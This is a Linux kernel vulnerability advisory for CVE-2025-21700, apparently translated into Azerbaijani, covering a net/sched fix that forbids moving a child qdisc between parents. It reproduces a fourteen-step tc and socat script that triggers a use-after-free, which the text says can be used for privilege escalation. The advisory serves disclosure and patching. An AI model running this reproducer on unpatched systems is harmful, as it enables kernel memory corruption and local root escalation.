CVE-2025-21700

Linux kernel-də aşağıdakı zəiflik aradan qaldırılıb: net: sched: Alt qdisc-in bir valideyndən digərinə əvəz edilməsinə icazə verməmək Lion Ackermann aşağıdakı skript vasitəsilə imtiyazların yüksəldilməsi üçün istifadə oluna bilən UAF yaratmağı bacarmışdır: Addım 1. root qdisc yaradın tc qdisc add dev lo root handle 1:0 drr addım 2. UAF nümayiş etdirmək üçün paket aqreqasiyası sinfi yaradın tc class add dev lo classid 1:1 drr addım 3. yuvalama üçün sinif yaradın tc class add dev lo classid 1:2 drr addım 4. qdisc-i grafting etmək üçün sinif yaradın tc class add dev lo classid 1:3 drr addım 5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 addım 6. tc qdisc add dev lo parent 1:2 handle 3:0 drr addım 7. tc class add dev lo classid 3:1 drr addım 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo addım 9. Sinif/qdisc strukturunu göstərin tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 addım 10. Xətanı tetikləyin <=== bu yamaqla qarşısı alınmışdır tc qdisc replace dev lo parent 1:3 handle 4:0 addım 11. Qdisc-ləri/sinifləri yenidən göstərin tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Müşahidə edin ki, a) əvəzləmə sorğusuna baxmayaraq 4:0 üçün valideyn dəyişmir. Yalnız bir valideyn ola bilər. b) 4:0 üçün refcount iki vahid artıb və c) həm 1:3, həm də 3:1 sinifləri ona işarə edir. Addım 12. Plug-a bir paket göndərin echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) addım 13. Grafting edilmiş fifo-ya bir paket göndərin echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) addım 14. İndi UAF-ı tetikləyək tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 "Replace" semantikası eyni düyün üzərində silmə/əlavə etmə üçündür və addım 10-da olduğu kimi bir düyündən (3:1) silib başqa düyünə (1:3) əlavə etmək üçün deyil. Daha mürəkkəb yanaşma ilə bunu "düzəltmək" mümkün olsa da, gözləntilərdə fəsadlar yarana bildiyi üçün yamaq "belə konfiqurasiyaya icazə verməmək" şəklində preventiv yanaşma tətbiq edir. Lion Ackermann <[email protected]> ilə birgə işdir.